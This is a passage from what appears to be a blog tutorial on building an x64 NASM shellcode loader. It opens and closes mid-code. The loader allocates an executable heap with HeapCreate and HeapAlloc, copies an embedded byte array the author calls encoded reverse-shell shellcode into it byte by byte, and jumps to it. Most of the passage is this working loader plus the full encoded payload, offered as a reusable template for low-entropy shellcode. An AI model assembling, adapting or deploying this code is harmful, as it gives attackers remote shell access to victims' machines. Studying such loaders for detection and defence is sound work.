<span class="nf">and</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0xFFFFFFFFFFFFFFF0</span> <span class="c1">; this instruction helps with stack alignment</span>
	
<span class="nf">xor</span>  <span class="nb">r8d</span><span class="p">,</span><span class="nb">r8d</span>  
<span class="nf">xor</span>  <span class="nb">edx</span><span class="p">,</span><span class="nb">edx</span>  
<span class="nf">mov</span>  <span class="nb">ecx</span><span class="p">,</span> <span class="mh">0x40000</span>  
<span class="nf">call</span> <span class="nv">HeapCreate</span>
<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">72</span>
<span class="nf">mov</span> <span class="p">[</span><span class="nb">rsp</span><span class="p">],</span> <span class="nb">rax</span>
<span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">72</span>
<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>
	
<span class="nf">mov</span>  <span class="nv">r8</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span> <span class="c1">;size of shellcode</span>
<span class="nf">mov</span>  <span class="nb">edx</span><span class="p">,</span><span class="mi">8</span>  
<span class="nf">mov</span>  <span class="nb">rcx</span><span class="p">,</span><span class="kt">qword</span> <span class="p">[</span><span class="nb">rsp</span> <span class="o">-</span> <span class="mi">72</span><span class="p">]</span>  
<span class="nf">call</span> <span class="nv">HeapAlloc</span>
<span class="nf">push</span> <span class="nb">rax</span>
<span class="nf">pop</span> <span class="nb">rdx</span> <span class="c1">; memory address of mapped region of memory</span>
</code></pre></div></div>

<p>Here’s how everything looks in x64dg:</p>

<p><img width="398" height="233" alt="image" src="https://github.com/user-attachments/assets/eb63aa55-bfcb-4a95-a376-95e7b461c4d4" /></p>

<p>And take a look at our registers RAX and RDX.  They are both holding the return value of HeapAlloc.  RAX always holds the return value and I popped it into RDX for future use.</p>

<p><img width="246" height="142" alt="image" src="https://github.com/user-attachments/assets/44be1f25-f6bc-46d4-b980-022aa2090b7f" /></p>

<p>If you follow that memory location in the dump, you’ll see it’s filled with zeros.  This location will soon be populated with our shellcode!</p>

<p><img width="721" height="261" alt="image" src="https://github.com/user-attachments/assets/847df466-f2a4-458e-bd5b-965c1ae8fc76" /></p>

<h2 id="copying-our-shellcode-into-the-heap">Copying our shellcode into the Heap</h2>

<p>Hopefully everything has made sense up til this point…and really…hopefully everything keeps making sense! 😆  For this next portion of our PIC assembly and soon to be shellcode template, I could have used memcpy or RtlMoveMemory API to accomplish this. However, that’s yet another API we’d have to track down and it would increase our final shellcode bytes and we want low entropy, always, if we can.  In this case we can so let’s roll with it.  I’m going to setup a loop that copies our reverse shell shellcode byte by byte into the heap address we created.  Here’s what that looks like:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
  <span class="c1">;=======================================================================</span>
  <span class="c1">; included the below for context to see how I got RDX and why we need it</span>
  <span class="nf">call</span>        <span class="nv">HeapAlloc</span>
	<span class="nf">push</span> <span class="nb">rax</span>
	<span class="nf">pop</span> <span class="nb">rdx</span> <span class="c1">; memory address of mapped region of memory</span>
  <span class="c1">;=======================================================================</span>

<span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">encoded_shellcode</span><span class="p">]</span>   <span class="c1">; this is the address of our shellcode.  we use relative addressing because of x64 conventions, also PIC friendly!</span>
<span class="nf">mov</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span>   <span class="c1">; this is the total size of our shellcode</span>
<span class="nf">mov</span> <span class="nv">r14</span><span class="p">,</span> <span class="nb">rdx</span>                       <span class="c1">; move rdx into r14 to jump to it later and execute our shellcode once it's placed in the heap</span>
<span class="nf">xor</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span>                       <span class="c1">; clear RAX</span>
	
<span class="nl">chunk_reader:</span>                      <span class="c1">; a label </span>
    
<span class="nf">mov</span> <span class="nb">al</span><span class="p">,</span> <span class="kt">byte</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>               <span class="c1">; moves a single byte value from the address that holds our shellcode into al, which is the from RAX.  it goes -&gt; RAX(64), EAX(32), AX(16), AL(8)</span>
<span class="nf">mov</span> <span class="p">[</span><span class="nb">rdx</span><span class="p">],</span> <span class="nb">al</span>                    <span class="c1">; move this value into our heap address</span>
<span class="nf">inc</span> <span class="nb">rsi</span>                          <span class="c1">; prepare to load the next byte in our reverse shell shellcode</span>
<span class="nf">test</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>                    <span class="c1">; check if rcx is zero</span>
<span class="nf">jz</span> <span class="nv">final</span>                         <span class="c1">; jump to the final label if it is (and execute our shellcode)</span>
<span class="nf">inc</span> <span class="nb">rdx</span>                          <span class="c1">; increase the position of our shellcode each time it's added to the heap</span>
<span class="nf">loop</span> <span class="nb">ch</span><span class="nv">unk_reader</span>                <span class="c1">; keep looping until RCX is zero.  This also decrements RCX for us :)</span>
    
<span class="nl">final:</span>
<span class="nf">jmp</span> <span class="nv">r14</span>                          <span class="c1">; jump to our shellcode!</span>
</code></pre></div></div>

<p>And because I actually really do care that you understand this, I created a quick 5 minute video explaining it step by step using x64dbg 😸</p>

<iframe width="1080" height="720" src="https://www.youtube.com/embed/OiXWgVGfXnE" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
</iframe>
<p><br /><br /></p>

<h2 id="the-final-code-for-part-1">The Final Code for Part 1</h2>

<p>Okay, let’s bring it all together now.  Here’s the full code for Part 1 of this series.  Again, using externs for our API calls.  In Part 2, be prepared!  We’re going to manually locate the APIs 😸  no cheating using externs.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">;nasm -fwin64 [x64findkernel32.asm]</span>
<span class="c1">;ld -m i386pep -N -o x64findkernel32.exe x64findkernel32.obj</span>
<span class="c1">; externs: ld -m i386pep -LC:\mingw64\x86_64-w64-mingw32\lib asmsock.obj -o asmsock.exe -lws2_32 -lkernel32</span>

<span class="k">BITS</span> <span class="mi">64</span>

<span class="nf">section</span> <span class="nv">.shellstuff</span> <span class="nv">rdata</span> <span class="nv">read</span>
<span class="nl">encoded_shellcode:</span>
<span class="kd">db</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0xc8</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x7f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xbe</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x6b</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x4f</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xed</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb6</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0x8c</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xaa</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9b</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x2a</span><span class="p">,</span> <span class="mh">0x9f</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0xd5</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x99</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5d</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0xd4</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0xf1</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">,</span> <span class="mh">0xce</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x7b</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span>
<span class="no">encoded_shellcode_total</span><span class="kd"> equ</span> <span class="kc">$</span> <span class="o">-</span> <span class="nv">encoded_shellcode</span>

<span class="nf">section</span> <span class="nv">.data</span> 

<span class="nf">section</span> <span class="nv">.text</span>
<span class="nf">global</span> <span class="nv">main</span>

<span class="c1">; both of these are conveniently in kernel32.dll ;)</span>
<span class="nf">extern</span> <span class="nv">HeapCreate</span>
<span class="nf">extern</span> <span class="nv">HeapAlloc</span>

<span class="nl">main:</span>
<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x28</span>
<span class="nf">and</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0xFFFFFFFFFFFFFFF0</span>
	
<span class="nf">xor</span>  <span class="nb">r8d</span><span class="p">,</span><span class="nb">r8d</span>  
<span class="nf">xor</span>  <span class="nb">edx</span><span class="p">,</span><span class="nb">edx</span>  
